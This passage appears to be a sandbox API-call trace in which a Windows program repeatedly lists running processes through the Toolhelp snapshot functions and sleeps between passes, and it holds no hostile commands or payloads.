lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.060] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.060] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.061] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.062] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.063] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.064] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.065] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0272.066] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.067] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.068] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.069] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.070] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.071] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.072] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.073] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.074] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.074] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.076] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0272.076] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.078] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.078] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0272.079] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0272.080] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0272.082] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0272.084] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.085] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0272.087] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0272.605] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0272.606] CloseHandle (hObject=0x128) returned 1 [0272.606] Sleep (dwMilliseconds=0x1f4) [0273.218] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x128 [0273.222] Process32FirstW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.223] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0273.224] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0273.225] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.225] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0273.226] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.228] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0273.228] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0273.229] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0273.230] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0273.231] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.232] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.233] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.233] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.234] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.235] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0273.236] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.237] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.237] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.238] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.239] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0273.239] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.240] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.241] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0273.241] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0273.243] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0273.244] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0273.244] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.245] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0273.246] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0273.247] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0273.248] CloseHandle (hObject=0x128) returned 1 [0273.248] Sleep (dwMilliseconds=0x1f4) [0274.451] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x128 [0274.458] Process32FirstW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0274.459] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0274.460] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0274.462] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.463] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0274.464] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0274.465] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0274.465] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0274.466] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0274.467] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0274.468] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.469] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.469] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.470] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.471] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.472] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0274.473] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.474] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.476] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0274.477] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.478] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0274.479] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0274.480] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0274.480] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: 